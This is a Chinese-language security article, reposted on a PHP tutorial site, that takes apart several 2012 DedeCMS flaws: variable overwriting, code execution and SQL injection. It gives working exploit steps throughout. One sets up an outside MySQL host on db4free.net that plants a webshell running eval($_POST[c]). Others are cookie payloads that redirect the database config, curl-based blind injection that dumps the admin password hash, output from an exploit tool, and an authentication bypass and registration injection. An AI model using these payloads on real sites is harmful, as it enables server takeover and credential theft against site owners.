来源:自学PHP网 时间:2015-04-17 13:02 作者: 阅读:次
[导读] DedeCMS几个Bug(所谓0day)分析作者: c4rp3nt3r@0x50sec.orgDedeCms作为国内使用非常广泛的CMS系统,今年来大大小小的安全漏洞爆出来不少.像这种使用非常广泛的Web代码如果出现严重漏洞可能会比一...
DedeCMS几个Bug(所谓0day)分析
作者: c4rp3nt3r@0x50sec.org DedeCms作为国内使用非常广泛的CMS系统,今年来大大小小的安全漏洞爆出来不少.像这种使用非常广泛的Web代码如果出现严重漏洞可能会比一般的缓冲区溢出漏洞造成的破坏更大,其中2011年8月左右爆出的代码执行漏洞最为给力的一个.其后DedeCms很快打了补丁,有一些安全漏洞逐渐被披露,但仍有一些躺在某些人的硬盘里.拜读了上一期黑防DedeCms漏洞的文章,也想把之前我找的几个DedeCms的bug与大家分享. 注:本文的所有测试是在最新的DedeCms(2012年3月21日),Bt 5 R1上面默认的lamp环境下测试的,PHP版本5.3.2,测试注射漏洞的时候,注意设置magic_quotes_gpc=off。 变量覆盖漏洞真的修补完了吗? 2011年8月爆出的DedeCms代码执行漏洞,至今为止,DedeCms还没有完全修补,在某些情况下攻击者仍然可以秒杀目标服务器。 让我们先看一下DedeCms的include/common.inc.php // include/common.inc.php 37 function _RunMagicQuotes(&$svar) //有些情况下这个函数也是一个纸老虎 38 { 39 if(!get_magic_quotes_gpc()) 40 { 41 if( is_array($svar) ) 42 { 43 foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v); 44 } 45 else 46 { 47 if( strlen($svar)>0 && preg_match(‘#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#’,$svar) ) 48 { 49 exit(‘Request var not allow!’); 50 } 51 $svar = addslashes($svar); 52 } 53 } 54 return $svar; 55 } 56 57 if (!defined(‘DEDEREQUEST’)) 58 { 59 // www.2cto.com 检查和注册外部提交的变量(2011.8.10 修改登录时相关过滤) 60 function CheckRequest(&$val) { 61 if (is_array($val)) { 62 foreach ($val as $_k=>$_v) { 63 if($_k == ‘nvarname’) continue; 64 CheckRequest($_k); 65 CheckRequest($val[$_k]); 66 } 67 } else 68 { 69 if( strlen($val)>0 && preg_match(‘#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#’,$val) ) 70 { 71 exit(‘Request var not allow!’); 72 } 73 } 74 } 75 76 //var_dump($_REQUEST);exit; 77 CheckRequest($_REQUEST); //这里检查变量是否合法 78 79 foreach(Array(‘_GET’,'_POST’,'_COOKIE’) as $_request) 80 { 81 foreach($$_request as $_k => $_v) 82 { 83 if($_k == ‘nvarname’) ${$_k} = $_v; 84 else ${$_k} = _RunMagicQuotes($_v); //遍历初始化变量 并强制执行addslashes函数 85 } 86 } 87 } 这是2011年8月那次漏洞后dede的补丁,防止我们覆盖$GLOBALS[xxx] 变量 和 系统变量$cfg_xxx . 先是检测初看似乎没有问题.检查的时候用了超全局变量$_REQUEST,遍历初始化变量的时候用的$_GET,$_POST,$_COOKIE.但是检查的跟最后使用的是否相同呢?IIS的环境下是相同的,在某些apache主机上面就不一定了,$_REQUEST未必就包含$_COOKIE变量,这一点早在N年前国外某大牛的PPT就已经说过了。Dedecms的程序员只是看到网上公布的那个利用_POST方法覆盖变量的exp就写了补丁,而且没有在多种环境下测试就以为安全了。 看下面这个实验就明白了。 /* OS : BackTrack 5 R1 Web Server :Apache 2 PHP Version :5.3.2 */ root@bt:/var/www# cat /var/www/test.php <?php var_dump($_REQUEST); echo “—————REQUEST END————\n”; var_dump($_COOKIE); echo “—————COOKIE END————-\n”; root@bt:/var/www# curl –data “hi_post=abcd” –cookie “hi_cookie=1234″http://127.0.0.1/test.php?hi_get=5678 array(2) { ["hi_get"]=> string(4) “5678″ ["hi_post"]=> string(4) “abcd” //$_REQUEST数组里只有$_GET 和$_POST的内容,并没有$_COOKIE的内容,所以前面的检查是有漏洞的 } —————REQUEST END———— array(1) { ["hi_cookie"]=> string(4) “1234″ } —————COOKIE END———— 因为这是个老漏洞,但是补丁没有完全修补,属于漏网之鱼,限于篇幅也就不分析了直接给出利用方法。 1.创建支持外连的数据库 执行一下sql语句 mysql -h db4free.net -u mydede -p456456 use mydede; CREATE TABLE IF NOT EXISTS `dede_myad` ( `aid` mediumint(8) unsigned NOT NULL AUTO_INCREMENT, `clsid` smallint(5) NOT NULL DEFAULT ’0′, `typeid` smallint(5) unsigned NOT NULL DEFAULT ’0′, `tagname` varchar(30) NOT NULL DEFAULT ”, `adname` varchar(60) NOT NULL DEFAULT ”, `timeset` smallint(6) NOT NULL DEFAULT ’0′, `starttime` int(10) unsigned NOT NULL DEFAULT ’0′, `endtime` int(10) unsigned NOT NULL DEFAULT ’0′, `normbody` text, `expbody` text, PRIMARY KEY (`aid`), KEY `tagname` (`tagname`,`typeid`,`timeset`,`endtime`,`starttime`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; insert into dede_myad(aid,timeset,normbody) values(1,0,”<?php $fp=@fopen(’1.php’, ‘a’);@fwrite($fp,’<?php eval($_POST[c]) ?>’);echo ‘OK’;@fclose($fp);?>”); 2.访问http://127.0.0.1/dede/plus/ad_js.php?aid=1&nocache=1 浏览器地址栏执行一下javascript: javascript:document.cookie=”GLOBALS[cfg_dbhost]=db4free.net”;document.cookie=”GLOBALS[cfg_dbuser]=mydede”;document.cookie=”GLOBALS[cfg_dbpwd]=456456″;document.cookie=”GLOBALS[cfg_dbname]=mydede”;document.cookie=”GLOBALS[cfg_dbprefix]=dede_”; 刷新页面,将会生成shell http://127.0.0.1/dede/plus/1.php 密码c 更直接的利用方式: 终端下执行 curl –cookie “GLOBALS[cfg_dbhost]=db4free.net;GLOBALS[cfg_dbuser]=mydede;GLOBALS[cfg_dbpwd]=456456;GLOBALS[cfg_dbname]=mydede;GLOBALS[cfg_dbprefix]=dede_” “http://127.0.0.1/dede/plus/ad_js.php?aid=1&nocache=1″ 我们来看plus/ad_js.php 的代码: 12 require_once(dirname(__FILE__).”/../include/common.inc.php”);//这个文件里进行的变量覆盖超全局变量$GLOBALS, 13 //使其不再是超全局变量 14 if(isset($arcID)) $aid = $arcID; 15 $arcID = $aid = (isset($aid) && is_numeric($aid)) ? $aid : 0; 16 if($aid==0) die(‘ Request Error! ‘); 17 18 $cacheFile = DEDEDATA.’/cache/myad-’.$aid.’.htm’; 19 if( isset($nocache) || !file_exists($cacheFile) || time() – filemtime($cacheFile) > $cfg_puccache_time ) 20 { 21 $row = $dsql->GetOne(“SELECT * FROM `detest_myad` WHERE aid=’$aid’ “); 22 $adbody = ”; 23 //var_dump($row); 24 25 if($row['timeset']==0) 26 { 27 $adbody = $row['normbody']; 28 } 29 else 30 { 31 $ntime = time(); 32 if($ntime > $row['endtime'] || $ntime < $row['starttime']) { 33 $adbody = $row['expbody']; 34 } else { 35 $adbody = $row['normbody']; 36 } 37 } 38 $adbody = str_replace(‘”‘, ‘\”‘,$adbody); 39 $adbody = str_replace(“\r”, “\\r”,$adbody); 40 $adbody = str_replace(“\n”, “\\n”,$adbody); 41 //echo $adbody ; 42 $adbody = “<!–\r\ndocument.write(\”{$adbody}\”);\r\n–>\r\n”; 43 44 $fp = fopen($cacheFile, ‘w’); //写入数据库内容到缓存文件里 45 fwrite($fp, $adbody); 46 fclose($fp); 47 } 48 include $cacheFile; //执行我们的php代码 这里就是把数据库中的内容输入到缓存文件里,然后包含导致的代码执行。 尽管覆盖在$GLOBALS变量在包含数据库配置文件./data/common.inc.php之前,按照道理来说没办法覆盖才对。但是dedecms里面数据库配置变量用的是$cfg_dbxxxx,但是到了,./include/dedesqli.class.php文件里用的时候却用的是$GLOBALS['cfg_xxxx'];,通常的情况下这两者应该是一样的,但是当变量覆盖漏洞发生后$GLOBALS不再是超全局变量了,包含./data/common.inc.php之后$cfg_dbxxxx的值改变了,$GLOBALS['cfg_xxxx']的值却不会跟着变,所以才能成功利用。 图一 代码执行仅仅是一种利用方式,我们能够覆盖$GLOBALS变量,也能覆盖系统配置变量以cfg_ 开头的变量就能够干很多事情比如绕过系统配置等等。好了变量覆盖导致的代码执行说完了,我们再看看dedecms别的bug。 DedeCms的几个有意思的注射漏洞0day DedeCms由于include/common.inc.php强制执行了_RunMagicQuotes函数,以及80sec的sqlids使得字符形的注射几乎都成了鸡肋poc。 但是下面的代码还是有问题,看下面的代码,遍历初始化的时候,以$_GET为例,在magic_quotes_gpc = Off时,我们提交$_GET[kkk]=vvv’的时候,初始化变量$kkk=vvv\’,但是$_GET[kkk]=vvv’的值确没什么影响。加入以后的代码里直接使用了$_GET[kkk]的值我们就有可能引入单引号了。 79 foreach(Array(‘_GET’,'_POST’,'_COOKIE’) as $_request) 80 { 81 foreach($$_request as $_k => $_v) 82 { 83 if($_k == ‘nvarname’) ${$_k} = $_v; 84 else ${$_k} = _RunMagicQuotes($_v); //遍历初始化变量 并强制执行addslashes函数 85 } 86 } 有的人也提到了在member/目录下的文件都包含member/config.php文件,这个文件的前两句就是 9 require_once(dirname(__FILE__).’/../include/common.inc.php’);//这里就是2011年8月份代码执行变量覆盖的发生地 10 require_once(DEDEINC.’/filter.inc.php’); //这里重新覆盖了一次,include/common.inc.php这个文件里说的话都不算数了,以最后一次说的为准 我们看看include/filter.inc.php文件的代码: root@bt:/var/www/dede/member# cat -n ../include/filter.inc.php …省略 20 function _FilterAll($fk, &$svar) 21 { 22 global $cfg_notallowstr,$cfg_replacestr; 23 if( is_array($svar) ) 24 { 25 foreach($svar as $_k => $_v) 26 { 27 $svar[$_k] = _FilterAll($fk,$_v); 28 } 29 } 30 else 31 { 32 if($cfg_notallowstr!=” && preg_match(“#”.$cfg_notallowstr.”#i”, $svar)) 33 { 34 ShowMsg(”$fk has not allow words!”,’-1′); 35 exit(); 36 } 37 if($cfg_replacestr!=”) 38 { 39 $svar = preg_replace(‘/’.$cfg_replacestr.’/i’, “***”, $svar);//和谐社会函数,过滤不和谐内容 40 } 41 } 42 return $svar; 43 } 44 45 /* 对_GET,_POST,_COOKIE进行过滤*/ 46 foreach(Array(‘_GET’,'_POST’,'_COOKIE’) as $_request) //看这里又使用的$_GET $_POST $_COOKIE 47 { 48 foreach($$_request as $_k => $_v) 49 { 50 ${$_k} = _FilterAll($_k,$_v); //又进行了一次变量初始化 这里导致变量覆盖 51 } 52 } 就是说在member目录下的文件我们不受_RunMagicQuotes函数的影响,在magic_quotes_gpc=off的时候我们可以使用单引号、截断符%00等待导致一些安全问题。在dedecms的sqlids里过滤了union|sleep|benchmark|load_file|outfile 等待sql关键字,这里最狠的是过滤了select 要不我们会舒服的多。但是有没有不用select的情况呢?答案是肯定的。 dedecms dede_member、dede_admin这两个表里都有admin的hash,而且管理员在后台改了密码之后也会贴心地自动把dede_member表里的hash更新一次。所以我们找到dede_member表的注射就解决问题了。用这个表的文件有很多,我找到了修改个人配置信息的地方member/edit_face.php member/edit_face.php 注射漏洞 root@bt:/var/www/dede/member# cat -n edit_face.php 9 require_once(dirname(__FILE__).”/config.php”); //这里包含和谐的../include/filter.inc.php 10 CheckRank(0,0); //检查权限,至少要是通过认证的会员,什么注册不了会员?别着急我们有办法 11 $menutype = ‘config’; 12 if(!isset($dopost)) 13 { 14 $dopost = ”; 15 } 16 if(!isset($backurl)) 17 { 18 $backurl = ‘edit_face.php’; 19 } 20 if($dopost==’save’) 21 { 22 $maxlength = $cfg_max_face * 1024; 23 $userdir = $cfg_user_dir.’/’.$cfg_ml->M_ID; 24 if(!preg_match(“#^”.$userdir.”#”, $oldface)) //绕过这个正则表达式才能继续玩 25 { 26 $oldface = ”; 27 } 28 if(is_uploaded_file($face)) 29 { 30 if(@filesize($_FILES['face']['tmp_name']) > $maxlength) 31 { 32 ShowMsg(“你上传的头像文件超过了系统限制大小:{$cfg_max_face} K!“, ‘-1′); 33 exit(); 34 } 35 //删除旧图片(防止文件扩展名不同,如:原来的是gif,后来的是jpg) 36 if(preg_match(“#\.(jpg|gif|png)$#i”, $oldface) && file_exists($cfg_basedir.$oldface)) 37 { 38 @unlink($cfg_basedir.$oldface); 39 } 40 //上传新工图片 41 $face = MemberUploads(‘face’, $oldface, $cfg_ml->M_ID, ‘image’, ‘myface’, 180, 180); 42 } 43 else 44 { 45 $face = $oldface; // $oldface是我们能控制的变量 46 } 47 $query = “UPDATE `detest_member` SET `face` = ‘$face’WHERE mid=’{$cfg_ml->M_ID}’ “;//这里导致注射漏洞 48 $dsql->ExecuteNoneQuery($query); 49 // 清除缓存 50 $cfg_ml->DelCache($cfg_ml->M_ID); 51 ShowMsg(‘成功更新头像信息!‘, $backurl); 52 exit(); 53 } 这里是一个update类型的注射,而且还是盲注,还不能用延时注射的话,如何验证sql语句执行的真假呢?具体问题具体分析,这里只要验证头像修改没修改成功就好了。好吧我们先找一个用户测试以下。dedecms安装的时候有个测试用户tianya,密码1234567 图二 如图二所示我们提交以下语句测试语句是否成功。 root@bt:~# curl –data “dopost=save&oldface=/dede/uploads/userup/2/../1/aaaaa.gif’+wHere+AscII(suBstrIng((pwd),1,1))<5+and+mid=1;%00″ –cookie “DedeUserID=2; DedeUserID__ckMd5=07494c934808a294;”http://bt/dede/member/edit_face.php > /dev/null root@bt:~# curl http://127.0.0.1/dede/member/index.php?uid=admin | grep aaaaa % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 20516 0 20516 0 0 493k 0 –:–:– –:–:– –:–:– 513k 返回错误,管理员的会员中心的空间里投向并没有修改成功。我们继续下面的测试语句。 root@bt:~# curl –data “dopost=save&oldface=/dede/uploads/userup/2/../1/aaaaa.gif’+wHere+AscII(suBstrIng((pwd),1,1))<500+and+mid=1;%00″ –cookie “DedeUserID=2; DedeUserID__ckMd5=07494c934808a294;”http://bt/dede/member/edit_face.php > /dev/null root@bt:~# curl http:// www.2cto.com /dede/member/index.php?uid=admin | grep aaaaa % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 –:–:– –:–:– –:–:–0 <dd id=”userInfo”> <a class=”pic”href=”index.php?uid=admin&action=infos”title=”我的资料“> <h4 style=”text-align:center”>admin</h4> <img src=”/dede/uploads/userup/2/../1/aaaaa.gif”alt=”admin的头像”/> </a> 100 20516 0 20516 0 0 478k 0 –:–:– –:–:– –:–:– 488k 可以看到,返回正确,管理员的头像已经被我们修改了。 测试没问题当然不能手工注射,否则会累死的,还是写一个小程序解决之,运行结果如下,成功得到管理员的admin的md5hash.这里也可以只注射中间的16位节省时间。 cookie就是正常用户登录后的cookie数据。 root@bt:~/h4ck/dede0day# ./dede0day “DedeUserID=2; DedeUserID__ckMd5=07494c934808a294;” http://127.0.0.1/dede/ DedeCms V57 (20110812) SQLInj 0day Exploit This Exploit can dump admin’s pwd md5 hash code by c4rp3nt3r@0x50sec.org www.cli5.com Educational purpose!Use it at YOUR OWN RISK! [*] hash: 21232f297a57a5a743894a0e4a801fc3 写得时候是2011年8月但是dedecm直到到今天也没修补这个漏洞。 上面的方法是比较笨的方法,还有一种方法是直接修改管理员的名字为他的hash,这样就直接在他的空间里显示出来了,一次就能搞定。 图三 如图三所示,提交 root@bt:~/h4ck/dede0day# curl –data “dopost=save&oldface=/dede/uploads/userup/2/../1/c4rp3nt3r.gif’,uname=pwd+where+mid=1;%00″ –cookie “DedeUserID=2; DedeUserID__ckMd5=07494c934808a294;”http://bt/dede/member/edit_face.php > /dev/null 访问管理员的空间http://127.0.0.1/dede/member/index.php?uid=admin就能看到他的密码hash 21232f297a57a5a743894a0e4a801fc3就是管理员mid=1的密码hash。不要忘记把头像给改回来。 但这个漏洞的利用有个问题,就是如何得到一个普通的会员帐号。有很多情况下不让注册用户,由于系统开启了邮件审核机制,因此你的帐号需要审核后才能发信息修改头像!要么就是注册了用户收不到邮件没办法激活,哪我们就没办法利用了,因为这个漏洞需要会员登录之后才行。 那我们有什么办法不用登录,或者关闭邮件审核机制,或者不用发邮件就激活帐号呢? 前面讲的变量覆盖漏洞如果在一些apache主机上面仍然存在,那么我们可以伪装成登录了,我们覆盖dedecms系统配置变量cfg_cookie_encode(cookie加密码),这个是认证的关键字符串,我们可以自定义这个变量后就能伪装成管理员登录了。 这里用cookie方式发送_GET[cfg_cookie_encode]=123; 也就是$_COOKIE[_GET][cfg_cookie_encode]=123; 在./include/common.php里注册了_GET[cfg_cookie_encode]=123;这个变量,在./include/filter.inc.php 文件里又一次初始化变量,覆盖了cfg_cookie_encode=123; 运行如下命令,可以看到我们不需要密码就成功以管理员身份登录会员中心。 环境还是要求apache,才能绕过对COOKIE方式提交变量的检测。 root@bt:~/h4ck/dede0day# curl –cookie “DedeUserID=1;DedeUserID__ckMd5=6c14da109e294d1e;_GET[cfg_cookie_encode]=123;” http://127.0.0.1/dede/member/ | grep admin 图四 如图三所示,我们已经以管理员的身份登陆了会员中心。 假如不是apache呢,我们没法再绕过那个$_REQUEST的检测,覆盖dedecms的系统变量。只要magic_quotes_gpc=off,我们就能自己注册一个,因为DedeCms在会员注册的地方也存在注射漏洞。 Dedecms member/reg_new.php SQL注射漏洞 我们看member/reg_new.php的代码$sex变量在表单是单选项,程序员没做任何过滤就带入了SQL流程,而且有意思的字段正好在这个字段之后,所以我们就可以干一些邪恶的事情了。 191 $inQuery = “INSERT INTO `detest_member` (`mtype` ,`userid` ,`pwd` ,`uname` ,`sex` ,`rank` ,`money` ,`email` ,`scores` , 192 `matt`, `spacesta` ,`face`,`safequestion`,`safeanswer` ,`jointime` ,`joinip` ,`logintime` ,`loginip` ) 193 VALUES (‘$mtype’,'$userid’,'$pwd’,'$uname’,’$sex‘,’10′,’$dfmoney’,'$email’,'$dfscores’, 194 ’0′,’$spaceSta’,”,’$safequestion’,'$safeanswer’,'$jointime’,'$joinip’,'$logintime’,'$loginip’); “; 195 if($dsql->ExecuteNoneQuery($inQuery)) 我们提交 $sex=boy’,100,100,‘sss@xx.xx‘,1000,0,0,’face’,0,”,1316751900,”,1316751900,”);%00 直接把rank 跟money都设置为100了等,绕过邮件审核。 图五 图六 如图五、图六所示,使用firefox的live http headers插件方便的修改表单数据成功注册了一个会员hack,使用这个用户登录进去找到cookie,然后使用这个cookie利用member/edit_face.php的SQL注射漏洞导出管理员密码。通过上面的测试我们就绕过了看似防守严密的_RunMagicQuotes函数和sqlids的马其诺防线,成功得到管理员密码。 写文章真是一件累人的活,DedeCms还有一些别的漏洞限于时间的关系就不一一说明了。留待读者去发现吧。希望Dedecms越来越安全。(本文相关exp代码和程序见附件) www.2cto.com:(原文缺少部分图片,请理解) |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com